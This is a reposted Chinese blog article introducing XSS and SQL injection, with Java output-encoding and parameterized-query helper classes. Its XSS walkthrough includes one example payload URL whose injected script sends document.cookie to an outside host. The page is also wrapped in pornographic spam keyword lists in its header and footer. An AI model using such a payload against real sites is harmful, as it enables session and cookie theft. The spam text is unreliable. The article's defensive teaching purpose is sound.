日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

發布時間:2025/5/22 数据库 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

對web安全方面的知識非常薄弱,這篇文章把Xss跨站攻擊和sql注入的相關知識整理了下,希望大家多多提意見。

對于防止sql注入發生,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什么好經驗,為避免后知后覺的犯下大錯,專門參考大量前輩們的心得,小小的總結一下,歡迎大家拍磚啊

一、跨站腳本攻擊(XSS)

跨站腳本攻擊的原理

XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意腳本代碼,而程序對于用戶輸入內容未過濾,當用戶瀏覽該頁之時,嵌入其中Web里面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。

跨站腳本攻擊的危害:竊取cookie、放蠕蟲、網站釣魚?...

跨站腳本攻擊的分類主要有:存儲型XSS、反射型XSS、DOM型XSS

?

XSS漏洞是Web應用程序中最常見的漏洞之一。如果您的站點沒有預防XSS漏洞的固定方法,那么就存在XSS漏洞。這個利用XSS漏洞的病毒之所以具有重要意義是因為,通常難以看到XSS漏洞的威脅,而該病毒則將其發揮得淋漓盡致。

?

XSS工作流程

?

1)惡意用戶,在一些公共區域(例如,建議提交表單或消息公共板的輸入表單)輸入一些文本,這些文本被其它用戶看到,但這些文本不僅僅是他們要輸入的文本,同時還包括一些可以在客戶端執行的腳本。如: http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、參數<script>xxx</script>如果這里沒有經過轉義處理,則頁面中就嵌入了一段script 2)惡意提交這個表單 3)其他用戶看到這個包括惡意腳本的頁面并執行,獲取用戶的cookie等敏感信息。

?

?

?

如下情況,請求跳轉到百度,并將查詢到的cookie值也顯示出來了

結果將導致:

?

更詳細的Xss原理等知識請參考園內大拿“小坦克”的這篇文章?Web安全測試之XSS

?

那我們要如何防御Xss?

一種方法是在表單提交或者url參數傳遞前,對需要的參數進行過濾,請看如下XSS過濾工具類代碼

import java.net.URLEncoder;/*** 過濾非法字符工具類* */ public class EncodeFilter {//過濾大部分html字符public static String encode(String input) {if (input == null) {return input;}StringBuilder sb = new StringBuilder(input.length());for (int i = 0, c = input.length(); i < c; i++) {char ch = input.charAt(i);switch (ch) {case '&': sb.append("&amp;");break;case '<': sb.append("&lt;");break;case '>': sb.append("&gt;");break;case '"': sb.append("&quot;");break;case '\'': sb.append("&#x27;");break;case '/': sb.append("&#x2F;");break;default: sb.append(ch);}}return sb.toString();}//js端過濾public static String encodeForJS(String input) {if (input == null) {return input;}StringBuilder sb = new StringBuilder(input.length());for (int i = 0, c = input.length(); i < c; i++) {char ch = input.charAt(i);// do not encode alphanumeric characters and ',' '.' '_'if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||ch >= '0' && ch <= '9' ||ch == ',' || ch == '.' || ch == '_') {sb.append(ch);} else {String temp = Integer.toHexString(ch);// encode up to 256 with \\xHHif (ch < 256) {sb.append('\\').append('x');if (temp.length() == 1) {sb.append('0');}sb.append(temp.toLowerCase());// otherwise encode with \\uHHHH} else {sb.append('\\').append('u');for (int j = 0, d = 4 - temp.length(); j < d; j ++) {sb.append('0');}sb.append(temp.toUpperCase());}}}return sb.toString();}/*** css非法字符過濾* http://www.w3.org/TR/CSS21/syndata.html#escaped-characters */public static String encodeForCSS(String input) {if (input == null) {return input;}StringBuilder sb = new StringBuilder(input.length());for (int i = 0, c = input.length(); i < c; i++) {char ch = input.charAt(i);// check for alphanumeric charactersif (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||ch >= '0' && ch <= '9') {sb.append(ch);} else {// return the hex and end in whitespace to terminatesb.append('\\').append(Integer.toHexString(ch)).append(' ');}}return sb.toString();}/*** URL參數編碼 * http://en.wikipedia.org/wiki/Percent-encoding
*/ public static String encodeURIComponent(String input) {return encodeURIComponent(input, "utf-8");} public static String encodeURIComponent(String input, String encoding) {if (input == null) {return input;}String result;try {result = URLEncoder.encode(input, encoding);} catch (Exception e) {result = "";}return result;} public static boolean isValidURL(String input) {if (input == null || input.length() < 8) {return false;}char ch0 = input.charAt(0);if (ch0 == 'h') {if (input.charAt(1) == 't' &&input.charAt(2) == 't' &&input.charAt(3) == 'p') {char ch4 = input.charAt(4);if (ch4 == ':') {if (input.charAt(5) == '/' &&input.charAt(6) == '/') {return isValidURLChar(input, 7);} else {return false;}} else if (ch4 == 's') {if (input.charAt(5) == ':' &&input.charAt(6) == '/' &&input.charAt(7) == '/') {return isValidURLChar(input, 8);} else {return false;}} else {return false;}} else {return false;}} else if (ch0 == 'f') {if( input.charAt(1) == 't' &&input.charAt(2) == 'p' &&input.charAt(3) == ':' &&input.charAt(4) == '/' &&input.charAt(5) == '/') {return isValidURLChar(input, 6);} else {return false;}}return false;}static boolean isValidURLChar(String url, int start) {for (int i = start, c = url.length(); i < c; i ++) {char ch = url.charAt(i);if (ch == '"' || ch == '\'') {return false;}}return true;}}

?烏云網有很多關于xss報錯的bug記錄,如http://www.wooyun.org/bugs/wooyun-2010-016779

?

SQL注入漏洞

?

SQL注入攻擊的原理:

?

使用用戶輸入的參數拼湊SQL查詢語句,使用戶可以控制SQL查詢語句。詳細關于sql注入的信息請參考:SQL注入攻防入門詳解

?

防御方法

  • 使用預編譯語句,
  • 綁定變量
  • 使用安全的存儲過程
  • 檢查數據類型
  • 使用安全函數

建議方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面給出一種解決方法:用下面的各種函數代替拼接sql的出現

?

import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map;public class SqlBuilder {protected StringBuilder sqlBuf = new StringBuilder();protected List<Object> values = new ArrayList<Object>();protected Map<String, Object> paramMap = new HashMap<String, Object>();public SqlBuilder appendSql(String sql) {sqlBuf.append(sql);return this;}public SqlBuilder appendValue(Object value) {sqlBuf.append('?');values.add(value);return this;}public SqlBuilder appendValues(Object[] values) {sqlBuf.append('(');for (int i = 0, c = values.length; i < c; ++i) {sqlBuf.append('?').append(',');this.values.add(values[i]);}int last = sqlBuf.length() - 1;if (last > 0 && sqlBuf.charAt(last) == ',') {sqlBuf.setCharAt(last, ')');}return this;}public SqlBuilder appendEqParam(String param, Object value) {sqlBuf.append(param).append(" = :").append(param);paramMap.put(param, value);return this;}public SqlBuilder appendLtParam(String param, Object value) {sqlBuf.append(param).append(" < :").append(param);paramMap.put(param, value);return this;}public SqlBuilder appendGtParam(String param, Object value) {sqlBuf.append(param).append(" > :").append(param);paramMap.put(param, value);return this;}public SqlBuilder appendInParam(String param, Object ... values) {if(values == null) {return this;}sqlBuf.append(param).append(" in (");int len = values.length;for(int i = 0; i < len; i++) {if(i != 0) {sqlBuf.append(", ");}sqlBuf.append(":").append(param).append(i);paramMap.put(param+i, values[i]);}sqlBuf.append(")");return this;}public SqlBuilder appendLikeParam(String param, Object value) {sqlBuf.append(param).append(" like :").append(param);paramMap.put(param, "%"+value+"%");return this;}public String getSql() {return sqlBuf.toString();}public Object[] getValues() {return values.toArray();}public Map<String, Object> getParamMap() {return paramMap;} }

?

上面的兩種漏洞對于web開發會經常遇到,此外還有拒絕服務攻擊漏洞、跨站請求偽造(CSRF)、開放重定向漏洞等等,以后再慢慢學習!!!

轉載于:https://www.cnblogs.com/ITtangtang/p/3982297.html

總結

以上是生活随笔為你收集整理的WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产青青草视频 | 公交顶臀绿裙妇女配视频 | 日韩欧美aaa | 亚洲午夜久久久久久久久久久 | 国产又粗又大又黄 | 精品国产综合 | 无码人妻丰满熟妇精品 | 99草视频| exo妈妈mv在线播放高清免费 | 99re国产精品 | 91精品国产亚洲 | 欧美一级艳片视频免费观看 | 96人xxxxxxxxx69| 国产精品自拍合集 | julia在线播放88mav | 麻豆视频免费版 | 人妻在客厅被c的呻吟 | 精品人妻少妇嫩草av无码专区 | 国模视频在线 | 综合激情在线 | 美女色黄网站 | 手机看片日韩在线 | 欧美一区二区三区激情视频 | 精品国产日本 | 校园春色 亚洲色图 | 91精品国产91 | 国产男女猛烈无遮挡a片漫画 | 日本少妇全体裸体洗澡 | jizz色| 蜜桃av成人| 中国大陆毛片 | 黄网站欧美内射 | 国产综合精品 | 老司机福利精品 | 伊人久久久久久久久久久久 | 日本一本在线视频 | 国产又粗又爽视频 | 美女考逼| 精品欧美日韩 | 欧美黄色特级视频 | 97超在线 | 99久久国产视频 | 在线观看成人免费 | 三级国产网站 | 国产一区二区在线视频 | 奇米91| 精品视频在线免费 | 调教小屁屁白丝丨vk | 免费亚洲一区二区 | 亚洲欧美日韩在线 | 国产尤物精品 | 日本黄色大片视频 | 打屁股疼的撕心裂肺的视频 | 性生活一级大片 | 久久精品久久久精品美女 | 国内精品视频在线 | 91丨porny丨首页 | 澳门av在线 | 性xxxx搡xxxxx搡欧美 | 成人午夜天 | 久草免费在线观看 | 国产成人手机视频 | 不卡中文字幕 | 成年人视屏 | 97超碰免费观看 | va在线视频 | 国模大尺度自拍 | 色播欧美| 日韩中文在线字幕 | 精品国产欧美一区二区三区成人 | 人妻91麻豆一区二区三区 | 亚色视频在线观看 | 国产精品视频免费在线观看 | 久久久久久av | 最近日韩免费视频 | 国产高清自拍一区 | 久草视 | 国产成人精品影院 | 少妇色视频 | 国产一级在线观看视频 | 日韩美女在线视频 | 亚洲第一色图 | 久久精品一区二区三区四区 | 日韩av无码久久 | 精品成人国产 | 免费在线中文字幕 | 欧美久久久 | 久久久精品人妻无码专区 | www.69视频 | 99精品国产99久久久久久97 | 国产chinesehd精品露脸 | 欧美成人自拍 | 91pron在线| 日本成人一二三区 | 粉嫩av四季av绯色av | 小早川怜子一区二区三区 | 色噜噜狠狠狠综合曰曰曰 | 国产传媒欧美日韩 | 日本一区二区三区四区在线观看 |